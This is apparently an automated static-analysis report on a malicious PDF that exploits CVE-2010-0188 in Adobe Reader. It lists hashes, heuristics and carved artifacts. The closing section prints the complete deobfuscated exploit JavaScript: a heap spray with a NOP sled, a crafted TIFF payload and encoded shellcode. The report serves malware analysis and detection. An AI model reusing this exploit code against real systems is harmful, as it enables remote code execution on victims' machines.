Malicious PDF — malware analysis report

Static analysis result for SHA-256 db274de7ea2b78c5…

MALICIOUS

PDF

12.0 KB First seen: 2012-10-03
MD5: 95593d32d8a6cc5dbe2c4594234b55c2 SHA-1: 34325769625461786f2631640db6596e632fad2b SHA-256: db274de7ea2b78c5e397facf82b9868c5b8c5e43987f0ac094599b674b4a47e2
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious File

The PDF file contains embedded JavaScript, indicated by the 'PDF_EMBEDDED_SCRIPT_PAYLOAD' heuristic. This script is likely intended to exploit a vulnerability within the PDF reader to execute malicious code. The presence of XFA forms and embedded files further suggests a complex document designed for exploitation. The embedded URLs are related to XFA and Adobe, but their reputation is unknown or benign, providing no direct IOCs for malicious infrastructure.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Adobe Reader LibTIFF XFA image exploit — CVE-2010-0188 critical CVE likely CVE_2010_0188
    PDF contains the CVE-2010-0188 exploit template: XFA JavaScript heap-spray setup, a generated TIFF image payload, and assignment of that TIFF data to an XFA image field rawValue to trigger Adobe Reader's LibTIFF parser.
  • XFA numeric JavaScript stager high PDF_XFA_NUMERIC_JS_STAGER
    PDF XFA script reconstructs a hidden JavaScript stage from numeric field data or a character table, then evals the result. The decoder is gated on XFA script, numeric staging, and recovered exploit-like JavaScript or shellcode markers.
  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Embedded script payload in PDF stream info PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain an HTML/XFA <script> tag without accompanying Windows shell-execution primitives — common in accessible XFA forms but worth surfacing for analyst review.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xdp/ In PDF document text
    • http://www.xfa.org/schema/xfa-template/2.5/In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0008.bin pdf-embedded-file PDF EmbeddedFile object 8 at offset 0xC6 11611 bytes
SHA-256: 5da1289d8721039a4bc13a0d3f0f8b7f7ef0c5246cfa25a36406fac53678add7
xfa_numeric_stage_000.js deobfuscated-js XFA caret-number decoded JavaScript (raw) at offset 0x4C0 3422 bytes
SHA-256: e7e3d98cac20a03955866233b41ad7d376f831e10795549df433bac0e347ad00
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var _1l=[];function _2l(){var _3l=app.viewerVersion.toString();_3l=_3l.replace('.','');while(_3l.length<4){_3l+='0';}_3l=parseInt(_3l,10);return _3l;}function _4l(_5l,_6l){while(_5l.length*2<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l/2);return _5l;}function _7l(_8l){_8l=unescape(_8l);var _9l=_8l.length*2;var _1l0=unescape('%u9090');var _1l1=_4l(_1l0,0x2000-_9l);var _1l2=_8l+_1l1;_1l2=_4l(_1l2,0x80000-0x40);for(var _0=0;_0<0x190;_0++){_1l[_0]=_1l2.substr(0,_1l2.length-1)+_1l0;}return;}function _1l3(_5l,_6l){while(_5l.length<_6l){_5l+=_5l;}_5l=_5l.substring(0,_6l);return _5l;}function _1l4(_1l5){var _5l=_1l5.toString(16);var _6l=_5l.length;var _1l6=(_6l%2)?'0'+_5l:_5l;return _1l6;}function _1l7(_5l){var _1l6='';for(var _0=0;_0<_5l.length;_0+=2){_1l6+='%u';_1l6+=_1l4(_5l.charCodeAt(_0+1));_1l6+=_1l4(_5l.charCodeAt(_0));}return _1l6;}function _1l8(_1l9){var _1l6 ='';for(var _0=0;_0<_1l9.length;_0+=2){var _2l7=_1l9.substr(_0,2);var _1l5=parseInt(_2l7,16);_1l6+=String.fromCharCode(_1l5);}return _1l6;}_2l0();function _2l0(){var _3l=_2l();if(_3l>=0x1f40){var _2l1='SUkqADggAABB';var _2l2=_1l3('QUFB',0x2ae8);var _2l3='QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';var _2l4='';var _2l5='';if(_3l<0x2009){_2l4='o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';_2l5='4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac34b8aae2fac3e8e5ffffff51b4b9b8b8e63954e4b9b8b8315f35f7a835d7ec8963efe9ebebebebebebebedebebd0bcb9b8b8edeeebd0d7d6b8b8d0cdcad4d5ecd036f6b65450f0b8b8b8e850c4b8b8b847683b7cb0d0f757f7bde850d4b8b8b847683d78cdafd2ece14b12d0ca460bae50a5b8b8b8e850e9b8b8b84768ebd246d031d7b90550b0b8b8b8e85084b8b8b84768d88978dc33e88833eab433eaac33ca9001a0b8b8b8894789781484d9c4ba94987977b5b97f5a483947e304f2d233faa833aacd6131fc9ca4d97bd833d49c9c33fd8433ecbdc0b95233f2a033e298b9535b8cf1338c33b9568947897844143c78ccbf7977b5b97f534c83c49c90cd5933e29cb953de33b4f333e2a4b95333bc33b95031fc9ca4d97ab0b85057464747d0ccccc882979781899689818c968a898c968e8e97dcd6df8b898988898997818bdc8f88dc8980d9db8e8b898a8ad98adedb8fdbde88dcde8bdadbdedd88dc97dc898996c8d0c887de85d4dadeb890';}else{_2l4='kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';_2l5='4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141b0839090eb16b9640100008b342489f7803ee97406ac34feaae2fac3e8e5ffffff17f2fffefea07f12a2fffefe771973b1ee7391aacf25a9afadadadadadadadabadad96fafffefeaba8ad969190fefe968b8c9293aa9670b0f01216b6fefefeae1682fefefe012e7d3af696b111b1fbae1692fefefe012e7b3e8be994aaa70d54968c004de816e3fefefeae16affefefe012ead9400967791ff4316f6fefefeae16c2fefefe012e9ecf3e9a75aece75acf275acea758cd647e6fefefecf01cf3e52c29f82fcd2de3f31f3ff391c0e7f01a542b49475bcee75ec8b2777badae29f3d9e7592dada75bbc275aafb86ff1475b4e675a4deff151dcab775ca75ff10cf01cf3e02527a3e8af93f31f3ff39150ac582dad68b1f75a4daff159875f2b575a4e2ff1575fa75ff1677badae29f3cf6fe1611000101968a8a8ec4d1d1c7cfd0cfc7cad0cccfcad0c8c8d19a9099cdcfcfcecfcfd1c7cd9ac9ce9acfc69f9dc8cdcfcccc9fcc989dc99d98ce9a98cd9c9d989bce9ad19acfcfd08e968ec198c3929c98fe90';}if(_2l4.length){var _1l6=[_2l1,_2l2,_2l3,_2l4].join('');var _2l6=_1l8(_2l5);var _8l=_1l7(_2l6);_7l(_8l);fromCh.rawValue=_1l6;}}}

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